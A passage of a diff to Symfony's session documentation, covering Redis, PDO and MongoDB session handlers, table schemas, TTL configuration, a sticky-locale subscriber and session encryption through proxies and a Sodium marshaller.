xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes --> + <service id="Redis" class="Redis"> + <call method="connect"> + <argument>%env(REDIS_HOST)%</argument> + <argument>%env(int:REDIS_PORT)%</argument> + </call> + + <!-- uncomment the following if your Redis server requires a password: + <call method="auth"> + <argument>%env(REDIS_PASSWORD)%</argument> + </call> --> + + <!-- uncomment the following if your Redis server requires a user and a password (when user is not default): + <call method="auth"> + <argument>%env(REDIS_USER)%</argument> + <argument>%env(REDIS_PASSWORD)%</argument> + </call> --> + </service> + + <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"> + <argument type="service" id="Redis"/> + <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl', + which define the prefix to use for the keys to avoid collision on the Redis server + and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null: + <argument type="collection"> + <argument key="prefix">my_prefix</argument> + <argument key="ttl">600</argument> + </argument> --> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + use Symfony\Component\DependencyInjection\Reference; + use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler; + + $container + // you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes + ->register('Redis', \Redis::class) + ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%']) + // uncomment the following if your Redis server requires a password: + // ->addMethodCall('auth', ['%env(REDIS_PASSWORD)%']) + // uncomment the following if your Redis server requires a user and a password (when user is not default): + // ->addMethodCall('auth', ['%env(REDIS_USER)%', '%env(REDIS_PASSWORD)%']) + + ->register(RedisSessionHandler::class) + ->addArgument( + new Reference('Redis'), + // you can optionally pass an array of options. The only options are 'prefix' and 'ttl', + // which define the prefix to use for the keys to avoid collision on the Redis server + // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null: + // ['prefix' => 'my_prefix', 'ttl' => 600], + ) + ; + +Next, use the :ref:`handler_id <config-framework-session-handler-id>` +configuration option to tell Symfony to use this service as the session handler: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + # ... + session: + handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <!-- ... --> + <framework:session handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"/> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // ... + $framework->session() + ->handlerId(RedisSessionHandler::class) + ; + }; + +Symfony will now use your Redis server to read and write the session data. The +main drawback of this solution is that Redis does not perform session locking, +so you can face *race conditions* when accessing sessions. For example, you may +see an *"Invalid CSRF token"* error because two requests were made in parallel +and only the first one stored the CSRF token in the session. + +.. seealso:: + + If you use Memcached instead of Redis, follow a similar approach but + replace ``RedisSessionHandler`` by + :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`. + .. tip:: - Every ``SessionInterface`` implementation is supported. If you have your - own implementation, type-hint this in the argument instead. + When using Redis with a DSN in the + :ref:`handler_id <config-framework-session-handler-id>` config option, you can + add the ``prefix`` and ``ttl`` options as query string parameters in the DSN. -Stored attributes remain in the session for the remainder of that user's session. -By default, session attributes are key-value pairs managed with the -:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag` -class. +.. _session-database-pdo: + +Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -If your application needs are complex, you may prefer to use -:ref:`namespaced session attributes <namespaced-attributes>` which are managed with the -:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag` -class. Before using them, override the ``session`` service definition to replace -the default ``AttributeBag`` by the ``NamespacedAttributeBag``: +Symfony includes a +:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler` +to store sessions in relational databases like MariaDB, MySQL and PostgreSQL. +To use it, first register a new handler service with your database credentials: .. configuration-block:: .. code-block:: yaml # config/services.yaml - session: - public: true - class: Symfony\Component\HttpFoundation\Session\Session - arguments: ['@session.storage', '@session.namespacedattributebag'] + services: + # ... - session.namespacedattributebag: - class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag + Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler: + arguments: + - '%env(DATABASE_URL)%' -.. _session-avoid-start: + # you can also use PDO configuration, but requires passing two arguments + # - 'mysql:dbname=mydatabase; host=myhost; port=myport' + # - { db_username: myuser, db_password: mypassword } -Avoid Starting Sessions for Anonymous Users -------------------------------------------- + .. code-block:: xml -Sessions are automatically started whenever you read, write or even check for -the existence of data in the session. This may hurt your application performance -because all users will receive a session cookie. In order to prevent that, you -must *completely* avoid accessing the session. + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <services> + <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler"> + <argument>%env(DATABASE_URL)%</argument> -For example, if your templates include some code to display the -:ref:`flash messages <flash-messages>`, sessions will start even if the user -is not logged in and even if you haven't created any flash messages. To avoid -this behavior, add a check before trying to access the flash messages: + <!-- you can also use PDO configuration, but requires passing two arguments: --> + <!-- <argument>mysql:dbname=mydatabase; host=myhost; port=myport</argument> + <argument type="collection"> + <argument key="db_username">myuser</argument> + <argument key="db_password">mypassword</argument> + </argument> --> + </service> + </services> + </container> -.. code-block:: html+twig + .. code-block:: php - {# this check prevents starting a session when there are no flash messages #} - {% if app.request.hasPreviousSession %} - {% for message in app.flashes('notice') %} - <div class="flash-notice"> - {{ message }} - </div> - {% endfor %} - {% endif %} + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler; + + return static function (ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set(PdoSessionHandler::class) + ->args([ + env('DATABASE_URL'), + // you can also use PDO configuration, but requires passing two arguments: + // 'mysql:dbname=mydatabase; host=myhost; port=myport', + // ['db_username' => 'myuser', 'db_password' => 'mypassword'], + ]) + ; + }; + +.. tip:: + + When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can + contain the ``charset`` and ``unix_socket`` options as query string parameters. + +Next, use the :ref:`handler_id <config-framework-session-handler-id>` +configuration option to tell Symfony to use this service as the session handler: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + session: + # ... + handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <!-- ... --> + <framework:session + handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler"/> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // ... + $framework->session() + ->handlerId(PdoSessionHandler::class) + ; + }; + +Configuring the Session Table and Column Names +.............................................. + +The table used to store sessions is called ``sessions`` by default and defines +certain column names. You can configure these values with the second argument +passed to the ``PdoSessionHandler`` service: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler: + arguments: + - '%env(DATABASE_URL)%' + - { db_table: 'customer_session', db_id_col: 'guid' } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler"> + <argument>%env(DATABASE_URL)%</argument> + <argument type="collection"> + <argument key="db_table">customer_session</argument> + <argument key="db_id_col">guid</argument> + </argument> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler; + + return static function (ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set(PdoSessionHandler::class) + ->args([ + env('DATABASE_URL'), + ['db_table' => 'customer_session', 'db_id_col' => 'guid'], + ]) + ; + }; + +These are parameters that you can configure: + +``db_table`` (default ``sessions``): + The name of the session table in your database; + +``db_username``: (default: ``''``) + The username used to connect when using the PDO configuration (when using + the connection based on the ``DATABASE_URL`` env var, it overrides the + username defined in the env var). + +``db_password``: (default: ``''``) + The password used to connect when using the PDO configuration (when using + the connection based on the ``DATABASE_URL`` env var, it overrides the + password defined in the env var). + +``db_id_col`` (default ``sess_id``): + The name of the column where to store the session ID (column type: ``VARCHAR(128)``); + +``db_data_col`` (default ``sess_data``): + The name of the column where to store the session data (column type: ``BLOB``); + +``db_time_col`` (default ``sess_time``): + The name of the column where to store the session creation timestamp (column type: ``INTEGER``); + +``db_lifetime_col`` (default ``sess_lifetime``): + The name of the column where to store the session lifetime (column type: ``INTEGER``); + +``db_connection_options`` (default: ``[]``) + An array of driver-specific connection options; + +``lock_mode`` (default: ``LOCK_TRANSACTIONAL``) + The strategy for locking the database to avoid *race conditions*. Possible + values are ``LOCK_NONE`` (no locking), ``LOCK_ADVISORY`` (application-level + locking) and ``LOCK_TRANSACTIONAL`` (row-level locking). + +Preparing the Database to Store Sessions +........................................ + +Before storing sessions in the database, you must create the table that stores +the information. + +With Doctrine installed, the session table will be automatically generated when +you run the ``make:migration`` command if the database targeted by doctrine is +identical to the one used by this component. + +Or if you prefer to create the table yourself and the table has not already been +created, the session handler provides a method called +:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable` +to set up this table for you according to the database engine used:: + + try { + $sessionHandlerService->createTable(); + } catch (\PDOException $exception) { + // the table could not be created for some reason + } + +If the table already exists an exception will be thrown. + +If you would rather set up the table yourself, it's recommended to generate an +empty database migration with the following command: + +.. code-block:: terminal + + $ php bin/console doctrine:migrations:generate + +Then, find the appropriate SQL for your database below, add it to the migration +file and run the migration with the following command: + +.. code-block:: terminal + + $ php bin/console doctrine:migrations:migrate + +If needed, you can also add this table to your schema by calling +:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::configureSchema` +method in your code. + +.. _mysql: + +MariaDB/MySQL ++++++++++++++ + +.. code-block:: sql + + CREATE TABLE `sessions` ( + `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY, + `sess_data` BLOB NOT NULL, + `sess_lifetime` INTEGER UNSIGNED NOT NULL, + `sess_time` INTEGER UNSIGNED NOT NULL, + INDEX `sess_lifetime_idx` (`sess_lifetime`) + ) COLLATE utf8mb4_bin, ENGINE = InnoDB; + +.. note:: + + A ``BLOB`` column type (which is the one used by default by ``createTable()``) + stores up to 64 kb. If the user session data exceeds this, an exception may + be thrown or their session will be silently reset. Consider using a ``MEDIUMBLOB`` + if you need more space. + +PostgreSQL +++++++++++ + +.. code-block:: sql + + CREATE TABLE sessions ( + sess_id VARCHAR(128) NOT NULL PRIMARY KEY, + sess_data BYTEA NOT NULL, + sess_lifetime INTEGER NOT NULL, + sess_time INTEGER NOT NULL + ); + CREATE INDEX sess_lifetime_idx ON sessions (sess_lifetime); + +Microsoft SQL Server +++++++++++++++++++++ + +.. code-block:: sql + + CREATE TABLE sessions ( + sess_id VARCHAR(128) NOT NULL PRIMARY KEY, + sess_data NVARCHAR(MAX) NOT NULL, + sess_lifetime INTEGER NOT NULL, + sess_time INTEGER NOT NULL, + INDEX sess_lifetime_idx (sess_lifetime) + ); + +.. _session-database-mongodb: + +Store Sessions in a NoSQL Database (MongoDB) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Symfony includes a +:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler` +to store sessions in the MongoDB NoSQL database. First, make sure to have a +working MongoDB connection in your Symfony application as explained in the +`DoctrineMongoDBBundle configuration`_ article. + +Then, register a new handler service for ``MongoDbSessionHandler`` and pass it +the MongoDB connection as argument, and the required parameters: + +``database``: + The name of the database + +``collection``: + The name of the collection + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler: + arguments: + - '@doctrine_mongodb.odm.default_connection' + - { database: '%env(MONGODB_DB)%', collection: 'sessions' } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <services> + <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler"> + <argument type="service">doctrine_mongodb.odm.default_connection</argument> + <argument type="collection"> + <argument key="database">%env('MONGODB_DB')%</argument> + <argument key="collection">sessions</argument> + </argument> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler; + + return static function (ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set(MongoDbSessionHandler::class) + ->args([ + service('doctrine_mongodb.odm.default_connection'), + ['database' => '%env("MONGODB_DB")%', 'collection' => 'sessions'] + ]) + ; + }; + +Next, use the :ref:`handler_id <config-framework-session-handler-id>` +configuration option to tell Symfony to use this service as the session handler: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + session: + # ... + handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <!-- ... --> + <framework:session + handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler"/> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // ... + $framework->session() + ->handlerId(MongoDbSessionHandler::class) + ; + }; + +That's all! Symfony will now use your MongoDB server to read and write the +session data. You do not need to do anything to initialize your session +collection. However, you may want to add an index to improve garbage collection +performance. Run this from the `MongoDB shell`_: + +.. code-block:: javascript + + use session_db + db.session.createIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } ) + +Configuring the Session Field Names +................................... + +The collection used to store sessions defines certain field names. You can +configure these values with the second argument passed to the +``MongoDbSessionHandler`` service: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler: + arguments: + - '@doctrine_mongodb.odm.default_connection' + - + database: '%env(MONGODB_DB)%' + collection: 'sessions' + id_field: '_guid' + expiry_field: 'eol' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler"> + <argument type="service">doctrine_mongodb.odm.default_connection</argument> + <argument type="collection"> + <argument key="database">%env('MONGODB_DB')%</argument> + <argument key="collection">sessions</argument> + <argument key="id_field">_guid</argument> + <argument key="expiry_field">eol</argument> + </argument> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler; + + return static function (ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set(MongoDbSessionHandler::class) + ->args([ + service('doctrine_mongodb.odm.default_connection'), + [ + 'database' => '%env('MONGODB_DB')%', + 'collection' => 'sessions' + 'id_field' => '_guid', + 'expiry_field' => 'eol', + ], + ]) + ; + }; + +These are parameters that you can configure: + +``id_field`` (default ``_id``): + The name of the field where to store the session ID; + +``data_field`` (default ``data``): + The name of the field where to store the session data; + +``time_field`` (default ``time``): + The name of the field where to store the session creation timestamp; + +``expiry_field`` (default ``expires_at``): + The name of the field where to store the session lifetime. + +Migrating Between Session Handlers +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If your application changes the way sessions are stored, use the +:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MigratingSessionHandler` +to migrate between old and new save handlers without losing session data. + +This is the recommended migration workflow: + +#. Switch to the migrating handler, with your new handler as the write-only one. + The old handler behaves as usual and sessions get written to the new one:: + + $sessionStorage = new MigratingSessionHandler($oldSessionStorage, $newSessionStorage); + +#. After your session gc period, verify that the data in the new handler is correct. +#. Update the migrating handler to use the old handler as the write-only one, so + the sessions will now be read from the new handler. This step allows easier rollbacks:: + + $sessionStorage = new MigratingSessionHandler($newSessionStorage, $oldSessionStorage); + +#. After verifying that the sessions in your application are working, switch + from the migrating handler to the new handler. + +.. _session-configure-ttl: + +Configuring the Session TTL +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Symfony by default will use PHP's ini setting ``session.gc_maxlifetime`` as +session lifetime. When you store sessions in a database, you can also +configure your own TTL in the framework configuration or even at runtime. + +.. note:: + + Changing the ini setting is not possible once the session is started so + if you want to use a different TTL depending on which user is logged + in, you must do it at runtime using the callback method below. + +Configure the TTL +................. + +You need to pass the TTL in the options array of the session handler you are using: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler: + arguments: + - '@Redis' + - { 'ttl': 600 } + + .. code-block:: xml + + <!-- config/services.xml --> + <services> + <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"> + <argument type="service" id="Redis"/> + <argument type="collection"> + <argument key="ttl">600</argument> + </argument> + </service> + </services> + + .. code-block:: php + + // config/services.php + use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler; + + $services + ->set(RedisSessionHandler::class) + ->args([ + service('Redis'), + ['ttl' => 600], + ]); + +Configure the TTL Dynamically at Runtime +........................................ + +If you would like to have a different TTL for different users or sessions +for whatever reason, this is also possible by passing a callback as the TTL +value. The callback will be called right before the session is written and +has to return an integer which will be used as TTL. + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler: + arguments: + - '@Redis' + - { 'ttl': !closure '@my.ttl.handler' } + + my.ttl.handler: + class: Some\InvokableClass # some class with an __invoke() method + arguments: + # Inject whatever dependencies you need to be able to resolve a TTL for the current session + - '@security' + + .. code-block:: xml + + <!-- config/services.xml --> + <services> + <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"> + <argument type="service" id="Redis"/> + <argument type="collection"> + <argument key="ttl" type="closure" id="my.ttl.handler"/> + </argument> + </service> + <!-- some class with an __invoke() method --> + <service id="my.ttl.handler" class="Some\InvokableClass"> + <!-- Inject whatever dependencies you need to be able to resolve a TTL for the current session --> + <argument type="service" id="security"/> + </service> + </services> + + .. code-block:: php + + // config/services.php + use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler; + + $services + ->set(RedisSessionHandler::class) + ->args([ + service('Redis'), + ['ttl' => closure(service('my.ttl.handler'))], + ]); + + $services + // some class with an __invoke() method + ->set('my.ttl.handler', 'Some\InvokableClass') + // Inject whatever dependencies you need to be able to resolve a TTL for the current session + ->args([service('security')]); + +.. _locale-sticky-session: + +Making the Locale "Sticky" during a User's Session +-------------------------------------------------- + +Symfony stores the locale setting in the Request, which means that this setting +is not automatically saved ("sticky") across requests. But, you *can* store the +locale in the session, so that it's used on subsequent requests. + +Creating a LocaleSubscriber +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Create a :ref:`new event subscriber <events-subscriber>`. Typically, +``_locale`` is used as a routing parameter to signify the locale, though you +can determine the correct locale however you want:: + + // src/EventSubscriber/LocaleSubscriber.php + namespace App\EventSubscriber; + + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\HttpKernel\Event\RequestEvent; + use Symfony\Component\HttpKernel\KernelEvents; + + class LocaleSubscriber implements EventSubscriberInterface + { + public function __construct( + private string $defaultLocale = 'en', + ) { + } + + public function onKernelRequest(RequestEvent $event): void + { + $request = $event->getRequest(); + if (!$request->hasPreviousSession()) { + return; + } + + // try to see if the locale has been set as a _locale routing parameter + if ($locale = $request->attributes->get('_locale')) { + $request->getSession()->set('_locale', $locale); + } else { + // if no explicit locale has been set on this request, use one from the session + $request->setLocale($request->getSession()->get('_locale', $this->defaultLocale)); + } + } + + public static function getSubscribedEvents(): array + { + return [ + // must be registered before (i.e. with a higher priority than) the default Locale listener + KernelEvents::REQUEST => [['onKernelRequest', 20]], + ]; + } + } + +If you're using the :ref:`default services.yaml configuration +<service-container-services-load-example>`, you're done! Symfony will +automatically know about the event subscriber and call the ``onKernelRequest`` +method on each request. + +To see it working, either set the ``_locale`` key on the session manually (e.g. +via some "Change Locale" route & controller), or create a route with the +:ref:`_locale default <translation-locale-url>`. + +.. sidebar:: Explicitly Configure the Subscriber + + You can also explicitly configure it, in order to pass in the + :ref:`default_locale <config-framework-default_locale>`: + + .. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + App\EventSubscriber\LocaleSubscriber: + arguments: ['%kernel.default_locale%'] + # uncomment the next line if you are not using autoconfigure + # tags: [kernel.event_subscriber] + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\EventSubscriber\LocaleSubscriber"> + <argument>%kernel.default_locale%</argument> + + <!-- uncomment the next line if you are not using autoconfigure --> + <!-- <tag name="kernel.event_subscriber"/> --> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + use App\EventSubscriber\LocaleSubscriber; + + $container->register(LocaleSubscriber::class) + ->addArgument('%kernel.default_locale%') + // uncomment the next line if you are not using autoconfigure + // ->addTag('kernel.event_subscriber') + ; + +Now celebrate by changing the user's locale and seeing that it's sticky +throughout the request. + +Remember, to get the user's locale, always use the :method:`Request::getLocale +<Symfony\\Component\\HttpFoundation\\Request::getLocale>` method:: + + // from a controller... + use Symfony\Component\HttpFoundation\Request; + + public function index(Request $request): void + { + $locale = $request->getLocale(); + } + +Setting the Locale Based on the User's Preferences +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You might want to improve this technique even further and define the locale +based on the user entity of the logged in user. However, since the +``LocaleSubscriber`` is called before the ``FirewallListener``, which is +responsible for handling authentication and setting the user token on the +``TokenStorage``, you have no access to the user which is logged in. + +Suppose you have a ``locale`` property on your ``User`` entity and want to use +this as the locale for the given user. To accomplish this, you can hook into +the login process and update the user's session with this locale value before +they are redirected to their first page. + +To do this, you need an event subscriber on the ``LoginSuccessEvent::class`` +event:: + + // src/EventSubscriber/UserLocaleSubscriber.php + namespace App\EventSubscriber; + + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\HttpFoundation\RequestStack; + use Symfony\Component\Security\Http\Event\LoginSuccessEvent; + + /** + * Stores the locale of the user in the session after the + * login. This can be used by the LocaleSubscriber afterwards. + */ + class UserLocaleSubscriber implements EventSubscriberInterface + { + public function __construct( + private RequestStack $requestStack, + ) { + } + + public function onLoginSuccess(LoginSuccessEvent $event): void + { + $user = $event->getUser(); + + if (null !== $user->getLocale()) { + $this->requestStack->getSession()->set('_locale', $user->getLocale()); + } + } + + public static function getSubscribedEvents(): array + { + return [ + LoginSuccessEvent::class => 'onLoginSuccess', + ]; + } + } + +.. warning:: + + In order to update the language immediately after a user has changed their + language preferences, you also need to update the session when you change + the ``User`` entity. + +Session Proxies +--------------- + +The session proxy mechanism has a variety of uses and this article demonstrates +two common ones. Rather than using the regular session handler, you can create +a custom save handler by defining a class that extends the +:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Proxy\\SessionHandlerProxy` +class. + +Then, define the class as a :ref:`service +<service-container-creating-service>`. If you're using the :ref:`default +services.yaml configuration <service-container-services-load-example>`, that +happens automatically. + +Finally, use the ``framework.session.handler_id`` configuration option to tell +Symfony to use your session handler instead of the default one: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + session: + # ... + handler_id: App\Session\CustomSessionHandler + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <framework:config> + <framework:session handler-id="App\Session\CustomSessionHandler"/> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use App\Session\CustomSessionHandler; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // ... + $framework->session() + ->handlerId(CustomSessionHandler::class) + ; + }; + +Keep reading the next sections to learn how to use the session handlers in +practice to solve two common use cases: encrypt session information and define +read-only guest sessions. + +Encryption of Session Data +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to encrypt the session data, you can use the proxy to encrypt and +decrypt the session as required. The following example uses the `php-encryption`_ +library, but you can adapt it to any other library that you may be using:: + + // src/Session/EncryptedSessionProxy.php + namespace App\Session; + + use Defuse\Crypto\Crypto; + use Defuse\Crypto\Key; + use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy; + + class EncryptedSessionProxy extends SessionHandlerProxy + { + public function __construct( + private \SessionHandlerInterface $handler, + private Key $key + ) { + parent::__construct($handler); + } + + public function read($id): string + { + $data = parent::read($id); + + return Crypto::decrypt($data, $this->key); + } + + public function write($id, $data): string + { + $data = Crypto::encrypt($data, $this->key); + + return parent::write($id, $data); + } + } + +Another possibility to encrypt session data is to decorate the +``session.marshaller`` service, which points out to +:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MarshallingSessionHandler`. +You can decorate this handler with a marshaller that uses encryption, +like the :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`. + +First, you need to generate a secure key and add it to your :doc:`secret +store </configuration/secrets>` as ``SESSION_DECRYPTION_FILE``: + +.. code-block:: terminal + + $ php -r 'echo base64_encode(sodium_crypto_box_keypair());' + +Then, register the ``SodiumMarshaller`` service using this key: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + + # ... + Symfony\Component\Cache\Marshaller\SodiumMarshaller: + decorates: 'session.marshaller' + arguments: + - ['%env(file:resolve:SESSION_DECRYPTION_FILE)%'] + - '@.inner' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + 